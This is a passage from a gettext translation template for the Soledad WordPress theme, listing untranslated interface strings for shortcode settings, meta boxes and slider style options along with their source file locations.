msgid "Extra Large (22px)"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:34
msgid "Color scheme"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:79
msgid "Extra settings"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:112
msgid "Icon settings"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:120
msgid "List type"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:123
msgid "With image"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:134
msgid "List style"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:137
msgid "Rounded"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:176
msgid "Icon library"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:178
msgid "Font Awesome"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:179
msgid "Open Iconic"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:180
msgid "Typicons"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:181
msgid "Entypo"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:182
msgid "Linecons"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:183
msgid "Mono Social"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:184
msgid "Material"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:187
msgid "Select icon library."
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:3
msgid "Small List"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:7
msgid "Display a small list posts"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:56
msgid "Columns on Desktop:"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:135
msgid "Image Settings"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:227
msgid "Post Settings"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:445
msgid "Hide Post Meta on Mobile?"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:565
msgid "Post Title Font Size"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:579
msgid "Post Date Font Size"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:593
msgid "Post Meta Font Size"
msgstr ""

#: inc/js_composer/shortcodes/small_list/settings.php:621
msgid "Post Excerpt Font Size"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:32
#: inc/social-counter/admin-options.php:481 inc/user-profile.php:280
msgid "Dribbble"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:40
#: inc/social-counter/admin-options.php:524
msgid "Delicious"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:80
#: inc/user-profile.php:288
msgid "Rss"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:92
msgid "Stack overflow"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:104
msgid "Xing"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:108
msgid "patreon"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:151
msgid "Social Counter Block"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:163
msgid "Customizer Social Media URL (No Counter)"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:289
msgid "Font Size for Counter Number"
msgstr ""

#: inc/js_composer/shortcodes/social_counter/settings.php:298
msgid "Font Size for Fans/Like text"
msgstr ""

#: inc/js_composer/shortcodes/social_media/settings.php:11
msgid "Social Media Block"
msgstr ""

#: inc/js_composer/shortcodes/social_media/settings.php:35
msgid ""
"This option only apply when you hide text on the right side of social icons"
msgstr ""

#: inc/js_composer/shortcodes/social_media/settings.php:76
msgid "Disable Uppercase Text on Right Icons ?"
msgstr ""

#: inc/js_composer/shortcodes/social_media/settings.php:86
msgid "Custom Font Size for Text on Right Icons"
msgstr ""

#: inc/js_composer/shortcodes/social_media/settings.php:98
msgid ""
"Note: You can setup the URL for each social media icon via Appearance > "
"Customizer > Social Media"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:12
msgid "Team Members Block"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:17
#: inc/js_composer/shortcodes/testimonails/settings.php:34
msgid "Design style"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:117
msgid "Set height team member"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:126
msgid "Set border width team member"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:135
msgid "Set width for Image"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:144
msgid "Set height for Image"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:232
msgid "Link Website"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:238
msgid "Link Facebook"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:244
msgid "Link Twitter"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:250
msgid "Link Linkedin"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:256
msgid "Link Instagram"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:262
msgid "Link Youtube"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:268
msgid "Link Vimeo"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:274
msgid "Link Pinterest"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:280
msgid "Link Dribbble"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:291
msgid "Team memeber Colors"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:298
msgid "Item Background Color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:305
msgid "Item Border Color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:314
#: inc/js_composer/shortcodes/testimonails/settings.php:329
msgid "Name Colors"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:321
msgid "Name color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:334
msgid "Font Size for Name"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:344
msgid "Margin top for Name"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:357
msgid "Positions Colors"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:364
msgid "Position color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:377
#: inc/js_composer/shortcodes/testimonails/settings.php:343
msgid "Font Size for Position"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:387
msgid "Margin top for Position"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:400
msgid "Description colors"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:407
msgid "Desctiption color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:420
msgid "Font Size for Desctiption"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:431
msgid "Margin top for Desctiption"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:444
msgid "Social Icon Colors"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:458
msgid "Social Icon Background Color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:465
msgid "Social Icon Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:472
msgid "Social Icon Background Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/team_member/settings.php:480
msgid "Margin top for Social Icon"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:10
msgid "Testimonails"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:11
msgid "Testimonails Block"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:18
msgid "General Options"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:24
msgid "Tyle"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:114
msgid "Name Margin Top"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:124
msgid "Company/Position Margin Top"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:134
msgid "Rating Margin Top"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:260
msgid "Insert the name of the person."
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:264
msgid "Custom Avatar"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:267
msgid "Upload a custom avatar image. Recommended 70×70 pixels"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:273
msgid "Insert the name of the company."
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:279
msgid "Add the testimonial description.."
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:299
msgid "Add the url the company name will link to"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:308
msgid "Icon Colors"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:315
msgid "Icon Block Quote Color"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:321
msgid "Icon Block Quote Background Color"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:352
msgid "Custom Font Family for Name"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:371
#: inc/js_composer/shortcodes/testimonails/settings.php:378
msgid "Company/Position Color"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:385
msgid "Font Size for Company/Position"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:394
msgid "Custom Font Family for Company/Position"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:410
#: inc/js_composer/shortcodes/testimonails/settings.php:450
msgid "Description Colors"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:433
msgid "Custom Font Family for Description"
msgstr ""

#: inc/js_composer/shortcodes/testimonails/settings.php:464
msgid "Font Size for Rating"
msgstr ""

#: inc/js_composer/shortcodes/text_block/settings.php:8
msgid "Text Block"
msgstr ""

#: inc/js_composer/shortcodes/text_block/settings.php:9
msgid "A block of text with WYSIWYG editor"
msgstr ""

#: inc/js_composer/shortcodes/tiktok_embed_feed/settings.php:10
msgid "TikTok Embed Feed"
msgstr ""

#: inc/js_composer/shortcodes/tiktok_embed_feed/settings.php:11
msgid "Show recent feed of your TikTok"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:11
#: inc/widgets/video_playlist.php:42 inc/widgets/video_playlist.php:212
msgid "Video Playlist"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:12
#: inc/widgets/video_playlist.php:20
msgid "Video playlist block"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:21
msgid "Custom Lists"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:27
msgid "Block Columns"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:38
msgid "Maxiumum Playlist Items"
msgstr ""

#: inc/js_composer/shortcodes/video_playlist/settings.php:187
msgid "Extra colors"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:8 inc/widgets/weather.php:34
#: inc/widgets/weather.php:36 inc/widgets/weather.php:127
msgid "Weather"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:9
msgid "Weather Block"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:25
msgid "Custom Location Name Display"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:35
#: inc/js_composer/shortcodes/weather/settings.php:46
msgid "Disble"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:42
#: inc/widgets/weather.php:212
msgid "This option only applies when you enable the user's location above."
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:80
msgid "Weather colors"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:102
msgid "Font size for Location"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:113
msgid "Font size for Cloudiness"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:124
msgid "Font size for Wind,Humidity, Clouds"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:149
msgid "Font size for Temperature"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:160
msgid "Font size for Min/Max Temperature"
msgstr ""

#: inc/js_composer/shortcodes/weather/settings.php:185
msgid "Font size for Weather Forecast"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:10
#: inc/widgets/web_stories.php:34 inc/widgets/web_stories.php:36
msgid "Web Stories"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:11
msgid "Show Google Web Stories"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:17
msgid "Web Stories Query"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:59
msgid "Stories Categories IDs"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:64
msgid "Stories Tags IDs"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:69
msgid "Stories Posts IDs"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:86
msgid "Layout Settings"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:92
msgid "Layout Type"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:116
msgid "Columns Gap (px)"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:135
msgid "Show Current Stories Number"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:142
msgid "Custom Images Border Radius (px)"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:148
msgid "Ajax Loading Style"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:166
msgid "Web Stories Style"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:172
msgid "Stories Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:178
msgid "Stories Seen Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:184
msgid "Stories Border Width (px)"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:190
msgid "Stories Inner Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:196
msgid "Stories Inner Border Width (px)"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:202
msgid "Stories Title Color"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:208
#: inc/js_composer/shortcodes/web_stories/settings.php:214
msgid "Stories Title Font Size (px)"
msgstr ""

#: inc/js_composer/shortcodes/web_stories/settings.php:220
msgid "Custom Font Family for Story Title"
msgstr ""

#: inc/js_composer/soledad_vc.php:43
msgid "Latest Posts"
msgstr ""

#: inc/js_composer/soledad_vc.php:144
msgid "Rows Gap Between Big Items"
msgstr ""

#: inc/js_composer/soledad_vc.php:175
msgid "Rows Gap Between Small List Posts Items"
msgstr ""

#: inc/js_composer/soledad_vc.php:307
msgid "Auto Render Post Excerpt"
msgstr ""

#: inc/js_composer/soledad_vc.php:317
msgid "Hide Post Content/Post Excerpt"
msgstr ""

#: inc/js_composer/soledad_vc.php:355
msgid "Hide Share Icons"
msgstr ""

#: inc/js_composer/soledad_vc.php:370 inc/js_composer/soledad_vc.php:775
msgid "Align Excerpt"
msgstr ""

#: inc/js_composer/soledad_vc.php:520 inc/js_composer/soledad_vc.php:1026
msgid "Columns on Desktop"
msgstr ""

#: inc/js_composer/soledad_vc.php:601
msgid "Do Not Crop Images in List Layouts"
msgstr ""

#: inc/js_composer/soledad_vc.php:812
msgid ""
"Unit is px or %. Fill unit here also. Example:  <strong>200px</strong> or "
"<strong>30%</strong>"
msgstr ""

#: inc/js_composer/soledad_vc.php:853
msgid "Use numeric value only"
msgstr ""

#: inc/js_composer/soledad_vc.php:1140
msgid "Custom Words Length for Post Titles for style 1,2,6,10,14"
msgstr ""

#: inc/js_composer/soledad_vc.php:1282
msgid "Custom Excerpt Length for style 1,2,6,7,8,10"
msgstr ""

#: inc/js_composer/soledad_vc.php:1375
msgid "Click button below to Build Query for This Portfolio"
msgstr ""

#: inc/js_composer/soledad_vc.php:1382
msgid "Create Portfolio loop, to populate content from your site."
msgstr ""

#: inc/js_composer/soledad_vc.php:1454
msgid "Pagination:"
msgstr ""

#: inc/js_composer/soledad_vc.php:1485
msgid "Portfolio Filter"
msgstr ""

#: inc/js_composer/soledad_vc.php:1507
msgid "Font Size for Link"
msgstr ""

#: inc/js_composer/soledad_vc.php:1517
msgid "Custom Font Family for Link"
msgstr ""

#: inc/js_composer/soledad_vc.php:1536
msgid "Portfolio Title"
msgstr ""

#: inc/js_composer/soledad_vc.php:1550
msgid "Portfolio Title Color"
msgstr ""

#: inc/js_composer/soledad_vc.php:1557
msgid "Portfolio Title Hover Color"
msgstr ""

#: inc/js_composer/soledad_vc.php:1565
msgid "Font Size for Portfolio Title"
msgstr ""

#: inc/js_composer/soledad_vc.php:1575
msgid "Custom Font Family for Portfolio Title"
msgstr ""

#: inc/js_composer/soledad_vc.php:1595
msgid "Portfolio Category"
msgstr ""

#: inc/js_composer/soledad_vc.php:1602
msgid "Portfolio Category Color"
msgstr ""

#: inc/js_composer/soledad_vc.php:1609
msgid "Portfolio Category Hover Color"
msgstr ""

#: inc/js_composer/soledad_vc.php:1617
msgid "Font Size for Portfolio Category"
msgstr ""

#: inc/js_composer/soledad_vc.php:1627
msgid "Custom Font Family for Portfolio Category"
msgstr ""

#: inc/js_composer/soledad_vc.php:1779
msgid "Soledad Sidebar"
msgstr ""

#: inc/js_composer/soledad_vc.php:1884
msgid "Soledad Featured Boxes"
msgstr ""

#: inc/js_composer/soledad_vc.php:2027
msgid "Custom Font Family for Text"
msgstr ""

#: inc/js_composer/soledad_vc.php:2054
msgid ""
"<strong>Soledad VC Addon</strong> requires <strong>Visual Composer</strong> "
"plugin to be installed and activated on your site."
msgstr ""

#: inc/json-schema-validar.php:447
#, php-format
msgid "%1$s &quot;%2$s&quot;"
msgstr ""

#: inc/json-schema-validar.php:452
msgid "Not Found"
msgstr ""

#: inc/json-schema-validar.php:460 inc/json-schema-validar.php:468
#: inc/json-schema-validar.php:473 inc/json-schema-validar.php:478
#, php-format
msgid "%1$s %2$s"
msgstr ""

#: inc/json-schema-validar.php:468
msgid "Day Archives:"
msgstr ""

#: inc/json-schema-validar.php:473
msgid "Monthly Archives:"
msgstr ""

#: inc/json-schema-validar.php:478
msgid "Yearly Archives:"
msgstr ""

#: inc/like_post/post-like.php:176 inc/like_post/post-like.php:181
#: inc/like_post/post-like.php:195 inc/like_post/post-like.php:200
msgid "Unlike"
msgstr ""

#: inc/like_post/post-like.php:179 inc/like_post/post-like.php:181
#: inc/like_post/post-like.php:198 inc/like_post/post-like.php:200
#: inc/social-counter/admin-options.php:113
msgid "Like"
msgstr ""

#: inc/meta-box/categories-meta-box.php:39
msgid "Featured Posts"
msgstr ""

#: inc/meta-box/categories-meta-box.php:54
msgid "1st StandardThen Grid 2 Columns"
msgstr ""

#: inc/meta-box/categories-meta-box.php:71
msgid ""
"This option will override with the general layout you selected on General > "
"General Settings > Category, Tags, Search, Archive Pages > Category, Tag, "
"Search, Archive Layout"
msgstr ""

#: inc/meta-box/categories-meta-box.php:83 inc/meta-box/meta-box.php:785
msgid "Two Sidebar"
msgstr ""

#: inc/meta-box/categories-meta-box.php:130
msgid "Custom                        Sidebar 1"
msgstr ""

#: inc/meta-box/categories-meta-box.php:131
msgid "Custom                        Sidebar 2"
msgstr ""

#: inc/meta-box/categories-meta-box.php:132
msgid "Custom                        Sidebar 3"
msgstr ""

#: inc/meta-box/categories-meta-box.php:133
msgid "Custom                        Sidebar 4"
msgstr ""

#: inc/meta-box/categories-meta-box.php:134
msgid "Custom                        Sidebar 5"
msgstr ""

#: inc/meta-box/categories-meta-box.php:135
msgid "Custom                        Sidebar 6"
msgstr ""

#: inc/meta-box/categories-meta-box.php:136
msgid "Custom                        Sidebar 7"
msgstr ""

#: inc/meta-box/categories-meta-box.php:137
msgid "Custom                        Sidebar 8"
msgstr ""

#: inc/meta-box/categories-meta-box.php:138
msgid "Custom                        Sidebar 9"
msgstr ""

#: inc/meta-box/categories-meta-box.php:150
msgid "Style 1 - 1st Post Grid                        Featured on Left"
msgstr ""

#: inc/meta-box/categories-meta-box.php:151
msgid "Style 2 - 1st Post Grid                        Featured on Top"
msgstr ""

#: inc/meta-box/categories-meta-box.php:155
msgid "Style 6 - 1st Post List                        Featured on Top"
msgstr ""

#: inc/meta-box/categories-meta-box.php:159
msgid "Style 10 - 2 First Posts                        Featured and List"
msgstr ""

#: inc/meta-box/categories-meta-box.php:160
msgid "Style 11 - Text Overlay                        Center"
msgstr ""

#: inc/meta-box/categories-meta-box.php:163
msgid "Style 14 - 1st Post Overlay                        Featured on Top"
msgstr ""

#: inc/meta-box/categories-meta-box.php:164
msgid "Style 15 - Overlay Left then                        List on Right"
msgstr ""

#: inc/meta-box/categories-meta-box.php:166
msgid ""
"Use it to change the featured layout for this category when you use this "
"layout as a featured category. Check more on <a href=\"https://www.youtube."
"com/watch?v=gnbMyMBCK_M&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04\" "
"target=\"_blank\">this video tutorial</a>"
msgstr ""

#: inc/meta-box/inc/fields.php:105
msgid "Posts Featured Slider Style 1"
msgstr ""

#: inc/meta-box/inc/fields.php:106
msgid "Posts Featured Slider Style 2"
msgstr ""

#: inc/meta-box/inc/fields.php:107
msgid "Posts Featured Slider Style 3"
msgstr ""

#: inc/meta-box/inc/fields.php:108
msgid "Posts Featured Slider Style 4"
msgstr ""

#: inc/meta-box/inc/fields.php:109
msgid "Posts Featured Slider Style 5"
msgstr ""

#: inc/meta-box/inc/fields.php:110
msgid "Posts Featured Slider Style 6"
msgstr ""

#: inc/meta-box/inc/fields.php:111
msgid "Posts Featured Slider Style 7"
msgstr ""

#: inc/meta-box/inc/fields.php:112
msgid "Posts Featured Slider Style 8"
msgstr ""

#: inc/meta-box/inc/fields.php:113
msgid "Posts Featured Slider Style 9"
msgstr ""

#: inc/meta-box/inc/fields.php:114
msgid "Posts Featured Slider Style 10"
msgstr ""

#: inc/meta-box/inc/fields.php:115
msgid "Posts Featured Slider Style 11"
msgstr ""

#: inc/meta-box/inc/fields.php:116
msgid "Posts Featured Slider Style 12"
msgstr ""

#: inc/meta-box/inc/fields.php:117
msgid "Posts Featured Slider Style 13"
msgstr ""

#: inc/meta-box/inc/fields.php:118
msgid "Posts Featured Slider Style 14"
msgstr ""

#: inc/meta-box/inc/fields.php:119
msgid "Posts Featured Slider Style 15"
msgstr ""

#: inc/meta-box/inc/fields.php:120
msgid "Posts Featured Slider Style 16"
msgstr ""

#: inc/meta-box/inc/fields.php:121
msgid "Posts Featured Slider Style 17"
msgstr ""

#: inc/meta-box/inc/fields.php:122
msgid "Posts Featured Slider Style 18"
msgstr ""

#: inc/meta-box/inc/fields.php:123
msgid "Posts Featured Slider Style 19"
msgstr ""

#: inc/meta-box/inc/fields.php:124
msgid "Posts Featured Slider Style 20"
msgstr ""

#: inc/meta-box/inc/fields.php:125
msgid "Posts Featured Slider Style 21"
msgstr ""

#: inc/meta-box/inc/fields.php:126
msgid "Posts Featured Slider Style 22"
msgstr ""

#: inc/meta-box/inc/fields.php:127
msgid "Posts Featured Slider Style 23"
msgstr ""

#: inc/meta-box/inc/fields.php:128
msgid "Posts Featured Slider Style 24"
msgstr ""

#: inc/meta-box/inc/fields.php:129
msgid "Posts Featured Slider Style 25"
msgstr ""

#: inc/meta-box/inc/fields.php:130
msgid "Posts Featured Slider Style 26"
msgstr ""

#: inc/meta-box/inc/fields.php:131
msgid "Posts Featured Slider Style 27"
msgstr ""

#: inc/meta-box/inc/fields.php:132
msgid "Posts Featured Slider Style 28"
msgstr ""

#: inc/meta-box/inc/fields.php:133
msgid "Posts Featured Slider Style 29"
msgstr ""

#: inc/meta-box/inc/fields.php:134
msgid "Posts Featured Slider Style 30"
msgstr ""

#: inc/meta-box/inc/fields.php:135 inc/meta-box/meta-box.php:573
msgid "Penci Slider Style 1"
msgstr ""

#: inc/meta-box/inc/fields.php:136 inc/meta-box/meta-box.php:575
msgid "Penci Slider Style 2"
msgstr ""

#: inc/meta-box/inc/fields.php:137
msgid "Revolution Slider Full Width"
msgstr ""

#: inc/meta-box/inc/fields.php:138
msgid "Revolution Slider In Container"
msgstr ""

#: inc/meta-box/inc/fields.php:139
msgid "Posts Featured Slider Style 35"
msgstr ""

#: inc/meta-box/inc/fields.php:140
msgid "Posts Featured Slider Style 36"
msgstr ""

#: inc/meta-box/inc/fields.php:141
msgid "Posts Featured Slider Style 37"
msgstr ""

#: inc/meta-box/inc/fields.php:143
msgid "Posts Featured Slider Style 38"
msgstr ""

#: inc/meta-box/inc/fields.php:144
msgid "Posts Featured Slider Style 39"
msgstr ""

#: inc/meta-box/inc/fields.php:146 inc/meta-box/meta-box.php:598
msgid "Featured Video Background"
msgstr ""

#: inc/meta-box/inc/fields.php:154
msgid ""
"If you select Revolution Slider above, please fill Revolution Slider "
"Shortcode here. This option not apply for Page Template Full Width"
msgstr ""

#: inc/meta-box/inc/fields.php:159 inc/meta-box/meta-box.php:617
msgid "Display Featured Boxes?"
msgstr ""

#: inc/meta-box/inc/fields.php:168 inc/meta-box/meta-box.php:630
msgid "Display Page Title?"
msgstr ""

#: inc/meta-box/inc/fields.php:178
msgid "Display Breadcrumb on This Page?"
msgstr ""

#: inc/meta-box/inc/fields.php:553
msgid "No image selected"
msgstr ""

#: inc/meta-box/meta-box-array.php:59 inc/modules/gallery.php:63
msgid "Select an image"
msgstr ""

#: inc/meta-box/meta-box-array.php:60 inc/modules/gallery.php:64
msgid "Insert into widget"
msgstr ""

#: inc/meta-box/meta-box.php:21
msgid "Add Subtitle"
msgstr ""

#: inc/meta-box/meta-box.php:143
msgid "Options for This Post/Page"
msgstr ""

#: inc/meta-box/meta-box.php:152
msgid "Post Views"
msgstr ""

#: inc/meta-box/meta-box.php:382
msgid ""
"<strong>Note that:</strong> If you don't see the weekly view count reset "
"after installing the theme in some weeks, that means your hosting doesn't "
"support <a href=\"https://developer.wordpress.org/reference/functions/"
"wp_schedule_event/\" target=\"_blank\">wp_schedule_event</a> function from "
"WordPress. So, if you want to get it to work, please contact your hosting "
"provider and requirement them allows it."
msgstr ""

#: inc/meta-box/meta-box.php:442 inc/meta-box/meta-box.php:443
#: inc/meta-box/meta-box.php:444 inc/meta-box/register/page.php:39
#: inc/meta-box/register/page.php:40
msgid "Default Customizer Settings"
msgstr ""

#: inc/meta-box/meta-box.php:475
msgid ""
"Select Featured Slider/Featured\r\n"
"                        Video to\r\n"
"                        Display on Top of This Page?"
msgstr ""

#: inc/meta-box/meta-box.php:483
msgid ""
"Posts Featured Slider Style\r\n"
"                                1"
msgstr ""

#: inc/meta-box/meta-box.php:486
msgid ""
"Posts Featured Slider Style\r\n"
"                                2"
msgstr ""

#: inc/meta-box/meta-box.php:489
msgid ""
"Posts Featured Slider Style\r\n"
"                                3"
msgstr ""

#: inc/meta-box/meta-box.php:492
msgid ""
"Posts Featured Slider Style\r\n"
"                                4"
msgstr ""

#: inc/meta-box/meta-box.php:495
msgid ""
"Posts Featured Slider Style\r\n"
"                                5"
msgstr ""

#: inc/meta-box/meta-box.php:498
msgid ""
"Posts Featured Slider Style\r\n"
"                                6"
msgstr ""

#: inc/meta-box/meta-box.php:501
msgid ""
"Posts Featured Slider Style\r\n"
"                                7"
msgstr ""

#: inc/meta-box/meta-box.php:504
msgid ""
"Posts Featured Slider Style\r\n"
"                                8"
msgstr ""

#: inc/meta-box/meta-box.php:507
msgid ""
"Posts Featured Slider Style\r\n"
"                                9"
msgstr ""

#: inc/meta-box/meta-box.php:510
msgid ""
"Posts Featured Slider\r\n"
"                                Style 10"
msgstr ""

#: inc/meta-box/meta-box.php:513
msgid ""
"Posts Featured Slider\r\n"
"                                Style 11"
msgstr ""

#: inc/meta-box/meta-box.php:516
msgid ""
"Posts Featured Slider\r\n"
"                                Style 12"
msgstr ""

#: inc/meta-box/meta-box.php:519
msgid ""
"Posts Featured Slider\r\n"
"                                Style 13"
msgstr ""

#: inc/meta-box/meta-box.php:522
msgid ""
"Posts Featured Slider\r\n"
"                                Style 14"
msgstr ""

#: inc/meta-box/meta-box.php:525
msgid ""
"Posts Featured Slider\r\n"
"                                Style 15"
msgstr ""

#: inc/meta-box/meta-box.php:528
msgid ""
"Posts Featured Slider\r\n"
"                                Style 16"
msgstr ""

#: inc/meta-box/meta-box.php:531
msgid ""
"Posts Featured Slider\r\n"
"                                Style 17"
msgstr ""

#: inc/meta-box/meta-box.php:534
msgid ""
"Posts Featured Slider\r\n"
"                                Style 18"
msgstr ""

#: inc/meta-box/meta-box.php:537
msgid ""
"Posts Featured Slider\r\n"
"                                Style 19"
msgstr ""

#: inc/meta-box/meta-box.php:540
msgid ""
"Posts Featured Slider\r\n"
"                                Style 20"
msgstr ""

#: inc/meta-box/meta-box.php:543
msgid ""
"Posts Featured Slider\r\n"
"                                Style 21"
msgstr ""

#: inc/meta-box/meta-box.php:546
msgid ""
"Posts Featured Slider\r\n"
"                                Style 22"
msgstr ""

#: inc/meta-box/meta-box.php:549
msgid ""
"Posts Featured Slider\r\n"
"                                Style 23"
msgstr ""

#: inc/meta-box/meta-box.php:552
msgid ""
"Posts Featured Slider\r\n"
"                                Style 24"
msgstr ""

#: inc/meta-box/meta-box.php:555
msgid ""
"Posts Featured Slider\r\n"
"                                Style 25"
msgstr ""

#: inc/meta-box/meta-box.php:558
msgid ""
"Posts Featured Slider\r\n"
"                                Style 26"
msgstr ""

#: inc/meta-box/meta-box.php:561
msgid ""
"Posts Featured Slider\r\n"
"                                Style 27"
msgstr ""

#: inc/meta-box/meta-box.php:564
msgid ""
"Posts Featured Slider\r\n"
"                                Style 28"
msgstr ""

